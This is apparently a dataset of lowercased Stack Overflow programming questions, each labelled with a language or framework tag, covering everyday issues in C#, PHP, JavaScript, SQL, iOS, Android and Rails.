kendo ui spreadsheet  the current system does not allow a user to commit a change if a cell is missing a value. this is common to occur when a user simply wishes to erase a demand or assignment (essentially setting it to zero). the system needs to be updated to handle empty cells and must consider them as a zero value.,.net
move image in function  <img src= https://i.stack.imgur.com/dai9u.png  alt= enter image description here >    i have the following code below  i need to move an image so the rest of my data<br> displaying in pdf does not overlap the logo itself   <pre><code>function do_print(&amp;$focus) {      $this-&gt;set_focus($focus);     $this-&gt;filename = $this-&gt;create_filename();     $this-&gt;new_page();     $this-&gt;print_logo();  //logo print details -- need to move this so rest dont overlap it.     if(method_exists($this-&gt;layout   printcompanyaddress ))         $this-&gt;layout-&gt;printcompanyaddress($this);     $this-&gt;print_details();     $this-&gt;print_extra_head();     if($this-&gt;layout_name ==  quotepdf )         $this-&gt;print_addresses();     else         $this-&gt;layout-&gt;print_addresses($this);     $this-&gt;print_main();     //$this-&gt;print_notes();     $this-&gt;print_terms();     $this-&gt;print_extra_foot(); } </code></pre>,php
detect value change in code behind  this is probably not possible  but i have a method that accept  list   this method will execute multiple sql server stored procedure by looping the  list  object.   <pre><code>public void executemultipleproc(string strcon  ref list&lt;keyvaluepair&lt;string  sqlparameter[]&gt;&gt; list) {     using (sqlconnection sqlcon = new sqlconnection(strcon)) {         sqlcon.open();         sqltransaction sqltran = default(sqltransaction);         sqltran = sqlcon.begintransaction();          try {             foreach (keyvaluepair&lt;string  sqlparameter[]&gt; kv in list) {                 sqlcommand sqlcmd = new sqlcommand(kv.key  sqlcon);                 sqlcmd.commandtype = commandtype.storedprocedure;                  if ((kv.value == null) == false) {                     foreach (sqlparameter x in kv.value) {                         sqlcmd.parameters.add(x);                     }                 }                  sqlcmd.transaction = sqltran;                 sqlcmd.executenonquery();             }              sqltran.commit();         } catch (exception ex) {             sqltran.rollback();             throw;         }     } } </code></pre>   i have a problem when i need to insert table with relation aka header detail table because my insertdetail need output from insertheader for example :   <pre><code>list&lt;keyvaluepair&lt;string  sqlparameter[]&gt;&gt; list = new list&lt;keyvaluepair&lt;string  sqlparameter[]&gt;&gt;();  sqlparameter[] params = new sqlparameter[2]; params(0) = new sqlparameter( @test   sqldbtype.varchar  200); params(0).value =  test ; params(1) = new sqlparameter( @id   sqldbtype.int); params(1).direction = parameterdirection.output;  list.add(new keyvaluepair&lt;string  sqlparameter[]&gt;( spinsertheader   params));  sqlparameter[] param = new sqlparameter[1]; param(0) = new sqlparameter( @id   sqldbtype.int); param(0).value = convert.toint32(params(1).value); //this line will never have a value because the call to database isn t happened yet  list.add(new keyvaluepair&lt;string  sqlparameter[]&gt;( spinsertdetail   param));  executemultipleproc(getconnectionstring()  list); </code></pre>   my question : is it possible to achieve this by detecting value change when my method call insertheader and pass the output value to insertdetail without breaking the method functionality. sorry for bad english  any help will be appreciated.,c#
how do i set the executable file attribute in .net  how do i make a file executable from within a .net program running under linux/cygwin please  i really hope there is a better answer than  execute chmod . many thanks.,.net
how can show updateprogress bar during the page loading <pre><code>&lt;asp:updateprogress id= updateprogress1  runat= server   displayafter= 0  dynamiclayout= true       associatedupdatepanelid= update1 &gt;     &lt;progresstemplate&gt;         &lt;div class= transparentgrayback &gt;         &lt;/div&gt;         &lt;div class= sample5pageupdate &gt;             &lt;img src= ../radcontrols/ajax/skins/default/ajax-loader4.gif  alt=   /&gt;         &lt;/div&gt;     &lt;/progresstemplate&gt; &lt;/asp:updateprogress&gt;  </code></pre>   i am using the updateprogress. and it is working fine. but now i want that the update progress show during the page load. would you suggest what should i do.,asp.net
getting a variables value from another class  let s say i have an <code>nsinteger</code> set up in class1 as so:    <code>@property (nonatomic) nsinteger *amount;</code>    in a method in class1 i add 5 to amount  like so:    <code>amount += 5;</code>    now in class2  i want to be able to get the value of amount and display it in an nslog. what is a way to do this  i tried:   <pre><code>shop = [[shop alloc]init]; nslog(@ %i   shop.amount); </code></pre>   but that doesn t work because it creates a new instance of shop every time i want to display amount  and i don t know how to fix that.    i can declare a global variable but i would like to stay away from those  so what other solutions are there     thanks.,objective-c
enterprise patterns in .net  i m studying enterprise patterns to use with .net  i read a lot of theory but i don t have sample code to study.    i would like to know if there is any open source project available there uses these patterns so i can have a clear idea of how to use it.,.net
how to format dates in javascript  i pick this date from a textbox and i would like to format to this format: yyyy-mm-dd so from dd/mm/yyyy to yyyy-mm-dd   <pre><code> var startdate = document.getelementbyid( ctl00_placeholdermain_ctl00_date ).value;     var s = new date(startdate);     alert(startdate); //which prints out 7/03/2012     //when i use the below to try and format it to : yyyy-mm-dd which is what i want     var scurr_date = s.getdate();     var scurr_month = s.getmonth();     scurr_month++;     var scurr_year = s.getfullyear(); </code></pre>   for some reason i get:   <pre><code>var fstartdate = scurr_year +  -  + scurr_month +  -  + scurr_date; //output:2012-7-3 instead of : 2012-3-7 also fi i pick a date like 31/12/2011 i get : 2013-7-12 </code></pre>   any ideas what to do.i kind of notice if i use us like 03/07/2012 it kind os works ok. thank in advance,javascript
how to connect entities  i have a win forms reporting app. in that app i have two forms  main and config form. ma app should generate main crystal report with importing subreports like this...    in config form i choose how much time some subreport report is going to repeat and in which order. that config form gives me a name of the report with whom i should search folder for the full path in my main form. so  for each subreport i have a <code>modelsection</code> entity class which looks like this:   <pre><code>public class modelsections {     public int sectionid { get; set; }     public string sectionname { get; set; }     public string sectionreportnamepath { get; set; } } </code></pre>   for now i should hardcode <code>sectionid</code> and <code>sectionname</code> somewhere (i don t know where) and to obtain full path with that value i got from config form.    my other class should be a final parameter which will contain all the information for my generatereport name and it should look like this:   <pre><code>public class reportlayoutconfig {     public list&lt;modelsections&gt; reportlayout { get; set; }     public int sectionscount { get; set; } } </code></pre>   so when i pass this reportlayoutconfig as parameter i should have reportlayoutconfig class which has inside all the information i need and that is:    for example 3 x model section with all the values and the sectioncount. i don t know how to achieve this.,c#
overiding constructors section of textbook not making sense  the text in the book i am reading states in summary   <blockquote>     technically  constructors cannot be overidden because they have same name as the current class. new constructors are created instead of being inherited. this system works fine;...    </blockquote>   the part i don t understand is when they say this:   <blockquote>     when your class s constuctor methods are called  the constructor methods with the same signature for all your superclasses are also called . therefore  initialization can happen for all parts of a class you inherit   </blockquote>   what i don t understand is the same signature section.... it comes accross to me as though all the constructors must have the same signature  and then when you initialize a child class object all it s super classes will automatically be called instead of having to call super(arg1 arg2) for each sub class.... is this what they are stating,java
overload function with parameters constrained or find a way to do elsewhere  i m trying to write a function named notnull that will work like  .  .    for example :   <pre><code>a.notnull( x =&gt; x.afunc ) </code></pre>   if a is null  notnull return a generic type of afunc otherwise notnull return the return value of afunc.    i have written :   <pre><code>public static treturn notnullclass&lt;tobject  treturn&gt;(this tobject obj  func&lt;tobject  treturn&gt; func) where treturn : class {     if (obj == null)     {         return null;     }     else     {         return func(obj);     } }  public static treturn notnullstruct&lt;tobject  treturn&gt;(this tobject obj  func&lt;tobject  treturn&gt; func) where treturn : struct {     if (obj == null)     {         return new treturn();     }     else     {         return func(obj);     } } </code></pre>   the issue is that didn t succeed to regroup both function in one generic function by doing an overload or doing a static test if treturn is a class or a struct.    how can i write this with only one generic function,c#
importerror: no module named setuptools  windows  i m installing the <a href= https://pypi.python.org/pypi/mwlib/0.15.14  rel= nofollow noreferrer >mwlib</a> <code>python library</code> on <code>windows</code>  i used <code>setup.py install</code>  and have set the <code>environment variable</code> for python  some <code>similar</code> answer about <code>__init__.py</code> like <a href= https://stackoverflow.com/questions/338768/python-importerror-no-module-named >this</a> doesn t solve my problem  how should i solve this  i m new to python.,python
uiactivity -- share via message causes  to:  text input to be clipped  using uiactivity and sharing an image via message causes the  to:  field of the resulting  new message  window to be clipped at the top. i ve seen this in other apps  too (afterlight  lightroom  etc).    i ve observed this on my ipad air 2  running both ios 9.2.x and 9.3.x.    anyone else seen this  and know of a way to fix it     -allan    <a href= https://i.stack.imgur.com/ziabw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ziabw.png  alt= enter image description here ></a>,ios
jquery: labelover (watermark) sample code  does anybody have a working sample  - thanks,jquery
how can i return response from angular factory   i have the following factory function:   <pre><code>var getcompanylist = function () {      return $http.get(config.apiurl +  company/getlistofcompanynames ); }; </code></pre>   i m currently calling it via   <pre><code>companyservice.getcompanylist().then(function(response) {                 $scope.companylist = response.data;             }              function(error) {                 $scope.errors =  oops! something went wrong...   + error.statustext;             }); </code></pre>   is it possible to do the following:   <pre><code>$scope.companylist = companyservice.getcompanylist(); </code></pre>,angularjs
update form keeps original values  i have a form which is filled with values retrieved from database. that form has a submit button which should update the corresponding fields in the database once clicked.    the problem is that no matter what i do the values do not get updated in the database. i m using a stored procedure and checked it twice  it works ok  i also tried the trick with the hardcoded insert value-also works.    my guess is that once the field is populated from the database on page_load  its value remains even if i change it. how do i overcome this issue so that i can use the same form to retrieve and update data    <pre><code> protected void page_load(object sender  eventargs e)     {         lblmsg.visible = false;          string bookingid = request.querystring[ bookingid ];         booking b = bookingaccess.getbooking(int32.parse(bookingid));         if (b != null)         {             var start_date_formatted = ((datetime)b.startdate).tostring( dd-mm-yyyy );             var end_date_formatted = ((datetime)b.enddate).tostring( dd-mm-yyyy );              pet_name.text = b.petname;             species.text = b.species;             start_date.text = start_date_formatted;             end_date.text = end_date_formatted;         }       }      protected void btneditbooking_click(object sender  eventargs e)     {         string bookingid_raw = request.querystring[ bookingid ];         int bookingid = int.parse(bookingid_raw);          var start_date_formatted = datetime.parseexact(start_date.text   dd-mm-yyyy   null);         var end_date_formatted = datetime.parseexact(end_date.text   dd-mm-yyyy   null);          string pet_name =  a ;         string species =  b ;         lblmsg.visible = true;         string msg = bookingaccess.updatebooking(bookingid  pet_name  species  start_date_formatted  end_date_formatted);         if (msg == null)             lblmsg.text =  updated booking details successfully! ;         else             lblmsg.text =  error -&gt;   + msg;     } </code></pre>,asp.net
sql: how to find duplicate values in a large table  i have a table of about 2 million sku s.  is there a way to detect any sku that occurs more than once by running a select query,sql
how to add custom section in app. config file  this is my <code>app.config</code> file   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;configuration&gt;    &lt;configsections&gt;       &lt;section name= customsettings  type= consoleapplication6.class1 consoleapplication6  /&gt;    &lt;/configsections&gt;     &lt;customsettings&gt;       &lt;name&gt;mala&lt;/name&gt;     &lt;/customsettings&gt; &lt;/configuration&gt; </code></pre>   c# code  implemented create method <code>iconfigurationsectionhandler</code> interface   <pre><code>namespace consoleapplication6 { using system; using system.collections.generic; using system.linq; using system.text; using system.configuration; using system.xml;   public class class1 {     public string name;     public string name     {         get { return this.name; }         set { this.name=value;}     }      public class configh : iconfigurationsectionhandler     {         public configh() { }          public object create(object parent  object configcontext  system.xml.xmlnode section)         {             class1 cl = new class1();             cl.name = section.selectsinglenode( name ).innertext;             return cl;         }     } } </code></pre>   main program   <pre><code>namespace consoleapplication6 {   class program   {     static void main(string[] args)     {         class1 settings = (class1)configurationmanager.getsection( customsettings );         console.writeline(settings.name);     } } </code></pre>   but i m getting an error when running it   <blockquote>    an error occurred creating the configuration section handler for customsettings: type  consoleapplication6.class1  does not inherit from  system.configuration.iconfigurationsectionhandler   </blockquote>   i m not sure about the type attribute in section tag in <code>app.config</code> file. i used like <code>type=classname namespacename</code>,c#
how can i concatenate a string and a number in python   i was trying to concatenate a string and a number in python. it gave me an error when i tried this:   <pre><code> abc  + 9 </code></pre>   the error is:   <pre><code>traceback (most recent call last):   file  &lt;pyshell#5&gt;   line 1  in &lt;module&gt;      abc  + 9 typeerror: cannot concatenate  str  and  int  objects </code></pre>   why i am not able to do this     how <em>can</em> i concatenate a string and a number in python,python
android replacing nulls with tbd in listview <pre><code>simplecursoradapter adapter = new simplecursoradapter (this  r.layout.mytaskslayout  cursor  new string[] { aircraft   discrepancy    arr_flt    arr_gate    dpt_flt    dpt_gate }  new int[] {r.id.ac  r.id.discrepancy  r.id.arrac  r.id.arrgate  r.id.dptac  r.id.dptgate}); </code></pre>   here some of the values are null. i don t want to display null but tbd. can i do something here. (i can not change sql),android
difference between categories subclasses and notifications delegations  i am confusing from these areas.i searched on net.but every site giving different solutions.and i am new for this technology.so please provide corrects differences and definitions for this list.,objective-c
anchor styling having issues  i have a styling done which is as follows   <pre><code>/*------------this css is an internal css in the html page-------------*/  &lt;style&gt; .rating_star   {       background-image: url( &lt; php echo base_url(); &gt;assets/front_assets/images/star_hv.gif );   }  .rating_star hover   {       background-image: url( &lt; php echo base_url(); &gt;assets/front_assets/images/star.gif );   } &lt;/style&gt; </code></pre>   and here is the html part:   <pre><code>&lt;a href= javascript:void(0);  onclick=          var i= &lt; php echo base_url(); &gt;assets/front_assets/images/loading.gif ;         var load = document.createelement( img );         load.setattribute( src   i);          $( #rate ).html(load);         $.post( &lt; php echo base_url(); &gt;rating/rate               { star :1  item_slug :$( #item_slug ).val()}                 function(data){$( #rate ).html(data););  class= rating_star &gt;&amp;nbsp; &lt;/a&gt;  </code></pre>   the problem is that i can t see any image  even if i hover over the a <code>href</code>  i see no change.,css
assistance with calc javascript function  hello i am trying to create a script that will calculate a total by addition or subtraction. the issue i am running into is the current javascript i am using that i found only works with the starting amount field and only one of the bill amount fields at a time. for example if i input 50 in the starting amount and 50 into the bill amount field it will calculate it. if i add a row and then input an amount it will still only adjust the amount based on whats input into one of the bill amount fields.     not sure why but the code does not function on jsfiddle but you will be able to see the code in this <a href= https://jsfiddle.net/zyoy2a6b/2/  rel= nofollow noreferrer >jsfiddle</a>.    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;title&gt;finance&lt;/title&gt; &lt;meta charset= utf-8 &gt; &lt;meta name= finance  content= width=device-width  initial-scale=1.0 &gt; &lt;style&gt;   table { padding-top: 15px; }  td { white-space: nowrap; }   button {  cursor: pointer; }  &lt;/style&gt; &lt;/head&gt;     &lt;body&gt;  &lt;h1&gt;financial keeps&lt;/h1&gt;  &lt;p&gt;&lt;b&gt;starting amount: &amp;#36; &lt;input type= number  id= startamt    name= startamt  onkeyup= calc(this) /&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;to subtract an amount place a minus (-) sign infront of the dollar amount.&lt;/p&gt;  &lt;button onclick= insertrow()  id= addrow  &gt;add row&lt;/button&gt;  &lt;!--&lt;button onclick= removerow()  id= delrow  &gt;delete row&lt;/button&gt;--&gt;  &lt;table id= mytable &gt; &lt;tr&gt;     &lt;th&gt;bill info&lt;/th&gt;     &lt;th&gt;bill amount&lt;/th&gt;     &lt;th&gt;date&lt;/th&gt;     &lt;th&gt;comment&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;tr&gt;     &lt;td&gt;&lt;input type= text     id= billinfo &gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= number   id= billamt  name= number    onkeyup= calc(this) &gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= date     id= date &gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= text     id= commentbox &gt;&lt;/td&gt;     &lt;!--&lt;td&gt;&lt;input style= cursor: pointer;  type= button  id= delbtn   value= delete  onclick= removerow(this) &gt;&lt;/td&gt;--&gt; &lt;/tr&gt; &lt;/table&gt;    &lt;input type= hidden  id= total  name= total  value= 0  /&gt;   &lt;p&gt;&lt;b&gt;ending amount: &amp;#36; &lt;span id= totalamt &gt;0&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;    &lt;script type= text/javascript &gt; function insertrow() { var x = document.getelementbyid( mytable ); var row = x.insertrow(x.rows.length);      var cell = row.insertcell(0);     var a = document.createelement( input );         a.setattribute( type   text );         cell.appendchild(a);      var cell1 = row.insertcell(1);     var b = document.createelement( input );         b.setattribute( type   number );         b.setattribute( id   billamt );         b.setattribute( name   number );         b.setattribute( onkeyup   calc(this) );         cell1.appendchild(b);      var cell2 = row.insertcell(2);     var c = document.createelement( input );         c.setattribute( type   date );         cell2.appendchild(c);      var cell3 = row.insertcell(3);     var d = document.createelement( input );         d.setattribute( type   text );         cell3.appendchild(d);      var cell4 = row.insertcell(4);     var e = document.createelement( button );         e.innertext =  delete ;         e.setattribute( id   delbtn );         e.setattribute( onclick   removerow(this) );         cell4.appendchild(e);  }  function removerow(elem) { var table = elem.parentnode.parentnode.parentnode; var rowcount = table.rows.length; var row = elem.parentnode.parentnode;  row.parentnode.removechild(row);  }  var x = 0; var y = 0; var z = 0; function calc(obj) { var e = obj.id.tostring(); if (e ==  startamt ) { x = number(obj.value); y = number(document.getelementbyid( billamt ).value); } else {     x = number(document.getelementbyid( startamt ).value);     y = number(obj.value);     }     z = x + y;     document.getelementbyid( total ).value = z;      document.getelementbyid( totalamt ).innerhtml = z; } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the result i get:    <a href= https://i.stack.imgur.com/781ub.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/781ub.png  alt= enter image description here ></a>,javascript
how to add a class css into directive   i have a directive that i use to change text of an input to <code>uppercase</code>  it works fine  but now i want to show the text <code>capitalize</code> when user type  note that i want to keep the text uppercase but to show to user it should to be capitalize. to do this i created a css class but i don t know how to use this css into directive.    how could i add this css class into directive      trying.    <strong>css</strong>    <pre><code>.textcapitalize {   text-transform: capitalize; } </code></pre>   <strong>directive</strong>   <pre><code>var app = angular.module( starter );  app.directive( uiuppercase   function(){      return {         require: ngmodel           link: function(scope  element  attr  ctrl){                      element.addclass( textcapitalize ); //show text capitalized             var _textformat = function(input){                 return input.length &gt; 0   input.touppercase() :   ;             }              element.bind( keyup   function(){                 ctrl.$setviewvalue(_textformat(ctrl.$viewvalue));                                ctrl.$render();             });          }      };  }); </code></pre>,angularjs
change database for each user  i am developing a multi-company website in which each company has its database and when the user logs in  then the database will be changed depending on the  company.id  field that each user will have. the problem is that when a user of a company  x  logs on and then logs another user of a company  y  then it changes database affecting all logged in users  every time it is changed database changes for all users instead of changing only for the user who logs on this is my code to change the database:   <pre><code>def set_database    if user_signed_in        company = (current_user.company_id).to_s.to_sym        activerecord::base.establish_connection(company)     else       activerecord::base.establish_connection(: 232 )     end  end </code></pre>   the variable  company  will take the value of  company_id  of the user and will make a connection with the database of the company  for example company has a value to  32  then will make the connection in the database.yml with:   <pre><code> 32 :   adapter: sqlserver   mode: dblib   dataserver:   host: host   port: 1433   database: database   username: user   password: pass   timeout: 60000   azure: true </code></pre>   how could logon each user without affecting others who have a different database,ruby-on-rails
parsing hex  0x0976b8  to color android  i tried below but it throws an saying error during parsing the color. thanks in advance.   <pre><code>hexcolorstr =  0x0976b8  view.setbackgroundcolor(color.parsecolor(string.format( #%06x   integer.parseint(hexcolorstr))) </code></pre>   <strong>update:</strong> for some reason removing 0x in <code> 0x0976b8 </code> worked for me.   <pre><code>view.settextcolor(color.parsecolor( 0x0976b8 .replace( 0x   # ))); </code></pre>   is there any reason why i have to remove 0x form <code> 0x0976b8 </code> to make it work. thanks in advance..,android
xcode cannot find the software image to install this version - after upgrade to ios 5.1.1 and xcode 4.3.3  well  i was all set and ok when running xcode 4.2 and ios 5.0  but after i upgraded the iphone to 5.1.1 (9b206) and xcode to 4.3.3 (4e3002)  it is not being able to run the apps i am developing on my iphone. in the organizer it says:    <strong>software version: 5.1.1 (9b206)         xcode cannot find the software image to install this version</strong>    1) i checked the provisioning profiles  and they are ok  i reinstalled the whole certificates and provisioning profiles again  i got a green light next to my iphone entry.    2) i checked for new updates  but the software are already updated    3) i saw the 5.1.1 sdk on the my hard drive under xcode installation folder    /users/myuser/library/developer/xcode/5.1.1 (9b206)    i searched the web and found a post on apple support website telling the message  xcode cannot find the software image to install this version  is not an error message  but a notification  and that i could still continue to work on my device  but after i tried to run the app i am developing on my iphone  xcode says :    <strong>xcode cannot run using the selected device. no provisioned ios devices are available with a compatible ios version. connect an ios device with a recent enough version of ios to run your application or choose an ios simulator as the destination.</strong>    so up to now i don t know that to do anymore  and i need help.    in my mind what i see is ios sdk 5.1.1 installed on the iphone and xcode with ios sdk 5.1.1 installed on my macbook pro lion 10.7.4  and i cannot understand what is missing  or what i have to do to solve this situation  and start to run my apps on my iphone with 5.1.1 + xcode 4.3.3.    iphone 4s - version 5.1.1 (9b206) model md234bz    xcode 4.3.3 (4e3002)    mac os x version 10.7.4    thank you very much!    henrique,ios
i tried to add an object in a mutable array  but it displayed an error <pre><code>        char name;     nsmutablearray * student = [nsmutablearray array];     for (int i=0;i&lt;3; i++)     {         nslog(@ add the name of student number   i+1);         scanf( %s  &amp;name);         [student addobject:@name];     }     nslog(@ the names you entered are\n );     for(int i= 0; i&lt;3; i++)     {         printf( %s\n   [student objectatindex:i]);     } </code></pre>   it doesn t let me add the name to the array  thus making an error in addobject and makes the program only save nul. can you help me,objective-c
if the method  [aclass respondstoselector:@selector(fun)]  s fun had three parameter  some one can tell me    i used this method  [aclass respondstoselector:@selector(fun)]  to find if there was a fun in any class     but when the fun had three parameter how can i deal with it      thanks,ios
fetch authorized friends using graph library v2.4  i want to fetch facebook user friends in my app using v2.4 graph library. i am getting count not names. i am not able to get authorized friends. any help would be appreciable      // function   <pre><code>-(void)fetchfriends {     if ([fbsdkaccesstoken currentaccesstoken]) {         fbsdkgraphrequest *request = [[fbsdkgraphrequest alloc]                                       initwithgraphpath:@ /me/friends                                        parameters:@{@ fields : @ id  name  first_name  last_name  picture.type(large)  email }                                       httpmethod:@ get ];         [request startwithcompletionhandler:^(fbsdkgraphrequestconnection *connection                                                id result                                                nserror *error) {             nslog(@ data : %@  result);         }];     }  } </code></pre>   // response   <pre><code>data : {     data =     (     );     summary =     {          total_count  = 3;     }; } </code></pre>   // expected response   <pre><code>{    data : [     {        name :  name          id :  id      }   ]     paging : {      getting link here    }     summary : {      total_count : 1   } } </code></pre>   // permissions   <pre><code>{    data : [     {        permission :  user_friends          status :  granted      }      {        permission :  public_profile          status :  granted      }   ] } </code></pre>   it is working on graph api explorer but not in my app.,ios
c# daylight saving datetime switch  i have events that get triggered whenever the daylight switches happen.    i get when the spring/fall switches are going to happen using    <pre><code>timezone.currenttimezone.getdaylightchanges(year) </code></pre>   this returns me 2 datetimes: 1. start datetime which is spring cutover 3. end datetime which is the fall cutover.    the spring forward works fine.    but for the fall one the end time i get is 2.00 am cst. so when i subtract a second from i get 1.59.59 am cst. so the event gets fired an hour later. i need to set the trigger for 1.59.59 cdt. how do i construct this datetime,c#
mysql v5.1 vs v5.5 create table select  i have a question regarding mysql v5.1 and mysql v5.5. i specifically would like to know what change has resulted in the following difference and what setting will make v5.5 behave the same     <strong>version 5.1:</strong>    query: <code>create table if not exists _plu select * from plu limit 1 ;</code>    result: <strong>query ok  1 row affected  1 warning (0.05 sec)</strong>    this will result in the table being created if it does not exist and the row being inserted into the table. if the table does exist  <strong>the row will just be added to the table.</strong>    <strong>version 5.5:</strong>    query: <code>create table if not exists _plu select * from plu limit 1 ;</code>    result: <strong>query ok  0 rows affected  1 warning (0.01 sec)</strong>    this will result in <strong>no rows being inserted</strong> if the table already exists.    what setting would i need to change in v5.5 to produce the same result in v5.1,mysql
overlap 2 div s with css  i am trying to get a popup div to overlap another div. i have them both <code>position: fixed</code> but i know that is wrong but i do not know how to fix it.    i have tried z-index and change to <code>position: absolute</code>.   <pre><code>.middle-box { border: 1px solid transparent; border-radius: 4px; bottom: 0; color: #ffffff;  height: 230px; left: 0; margin: auto; position: absolute;  right: 0; top: 0; width: 855px; }  .dropdown {  margin-left: -26.3%; position: fixed; top: 45px; } </code></pre>   i need the dropdown to overlap the middle-box. right now when the dropdown popups the middlebox overlaps the dropdown box.    <a href= https://i.stack.imgur.com/74ftc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/74ftc.png  alt= enter image description here ></a>,css
how would you create the data in table1 given the data in table2   i know sql pretty well for joins and queries  but when it comes to this i have no idea. can someone take a crack at this  please     how would you create the data in table1 given the data in table2  write an sql query.    table1 (csv):   <pre><code>order_id1  prod_id1 order_id1  prod_id2 order_id1  prod_id3 order_id1  prod_id4 order_id1  prod_id4 </code></pre>   table2 (csv):   <pre><code>order_id1  prod_id1  prod_id2  prod_id3  prod_id4  prod_id4 </code></pre>,sql
sql view using double joins between tables  i m trying to create a view using a double join between tables.    i m working on some travel software  managing holiday bookings. the different items a person pays for can be in different currencies.    i ve a table of bookings  and a table of currencies.    there are many different items a person can pay for  all stored in different tables. i ve created a view showing the total owed per payment item type.    e.g. owed for transfers:   <pre><code>bookingid  currencyid  totaltransfersprice 1          1           340.00 2          1           120.00 2          2           100.00 </code></pre>   e.g. owed for extras:   <pre><code>bookingid  currencyid  totalextrasprice 1          1           200.00 1          2           440.00 2          1           310.00 </code></pre>   all is good so far.    what i d like to do is to create a master view that brings this all together:   <pre><code>bookingid  currencyid  totalextrasprice  totaltransfersprice 1          1           200.00            340.00 1          2           440.00            null 2          1           310.00            120.00 2          2           null              100.00         </code></pre>   i can t figure out how to make the above. i ve been experimenting with double joins  as i m guessing i need to do joins both for the bookingid and the currencyid     any ideas     thanks!    phil.,sql
why method of  events  does not work   i want to make what activerecord validation errors highlighted in the browser takes a lesson from asciicasts. this is my partial _errors_messages   <pre><code>&lt;% if event.errors.any  %&gt;   &lt;div id= errorexplanation &gt;     &lt;h2&gt;&lt;%= pluralize(event.errors.count   error ) %&gt; prohibited this record from being saved:&lt;/h2&gt;     &lt;ul&gt;     &lt;% event.errors.full_messages.each do |msg| %&gt;       &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;     &lt;% end %&gt;     &lt;/ul&gt;   &lt;/div&gt;   &lt;% end %&gt;   </code></pre>   this is my html file which is generated form   <pre><code>&lt;%= form_for event  html: { class:  event-form  } do |f| %&gt;   &lt;%= render  shared/error_messages   :target =&gt; @event %&gt;     &lt;% unless current_user %&gt;     &lt;div class= row &gt;       &lt;div class= col-md-4 &gt;         &lt;div class= form-group col-sm-12 &gt;           &lt;%= label :email   enter your email:  %&gt;           &lt;%= text_field_tag :email     class:  form-control  %&gt; </code></pre>   and this error browser show   <pre><code>undefined local variable or method `event  for #&lt;#&lt;class:0x007f117cc78c30&gt;:0x007f117cdf5c48&gt; </code></pre>,ruby-on-rails
prevent double click submit without disabling the button  i have an app that uses a submit button to query an ajax call. right now if the user clicks too fast it return duplicate results before the button fades away. the user can click a search icon to bring it back and do more searches so i do not want to disable it after use. here is my code on submit.   <pre><code>      function watchsubmit(){         $( .guidebox-search-form ).submit(function(event){           $( .guidebox-search-results ).empty();           event.preventdefault();           var query = $(this).find( .guidebox-query ).val();           getsearchdatafromapi(query  displaysearchdata);         });       } </code></pre>   is there a simple way of preventing the doble click here or should i rewrite this,jquery
return greatest value of matched array keys  how would i obtain the greatest value in an array if one of the array keys match a value in a string.  for instance  the following results would be obtained.   <pre><code>  $decenders=array( q =&gt;4  g =&gt;4  j =&gt;5  p =&gt;4  q =&gt;4  y =&gt;4);   $string= abc ;    //results as 0   $string= abcg ;   //results as 4   $string= abcgj ;  //results as 5 </code></pre>,php
how to convert sentence into array of strings (list) in python without using split or any fancy function  i would like to convert the sentence into array of strings    input : i am xyz    output : [ i   am   xyz ]    so  could you please let me know where am i making logical mistake  below is the code written in which i am accepting input_sentence from user   <pre><code>start =0 i=0 return_array = [] for i in (0  len(input_sentence)):    if     == input_sentence[i:i+1]:        return_array.append(input_sentence[start:i+1])        start = i + 1    i += 1 return_array.append(input_sentence[start:i+1]) return_array.append(input_sentence) </code></pre>,python
simpledateformat return string   i have a method like this:   <pre><code>public void onclick(view v) {   simpledateformat date = new simpledateformat( dd/mm/yyyy );   calendar cal=calendar.getinstance();   string currentdate =date.format(cal);   intent myintent=new intent(mainactivity.this  childactivity.class);   myintent.putextra(timestamp currentdate);   startactivity(myintent); } </code></pre>   and i got app crashed at the line:   <pre><code>string currentdate =date.format(cal); </code></pre>   where i want to get the current date as <code>timestamp</code>for variable. i wonder if the value return from that line of code is not string   sorry for my dumb question but i am just a newbie. thank you  edit : add logcat for more detail    <pre><code>11-10 22:42:00.495 9921-9921/com.example.admin.overtimenote e/androidruntime: fatal exception: main                                                                           process: com.example.admin.overtimenote  pid: 9921                                                                           java.lang.illegalargumentexception: bad class: class java.util.gregoriancalendar                                                                               at java.text.dateformat.format(dateformat.java:303)                                                                               at java.text.format.format(format.java:93)                                                                               at com.example.admin.overtimenote.mainactivity$2.onclick(mainactivity.java:37)                                                                               at android.view.view.performclick(view.java:5198)                                                                               at android.view.view$performclick.run(view.java:21147)                                                                               at android.os.handler.handlecallback(handler.java:739)                                                                               at android.os.handler.dispatchmessage(handler.java:95)                                                                               at android.os.looper.loop(looper.java:148)                                                                               at android.app.activitythread.main(activitythread.java:5417)                                                                               at java.lang.reflect.method.invoke(native method)                                                                               at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726)                                                                               at com.android.internal.os.zygoteinit.main(zygoteinit.java:616) </code></pre>   11-10 22:42:02.461 9921-9921/com.example.admin.overtimenote i/process: sending signal. pid: 9921 sig: 9,android
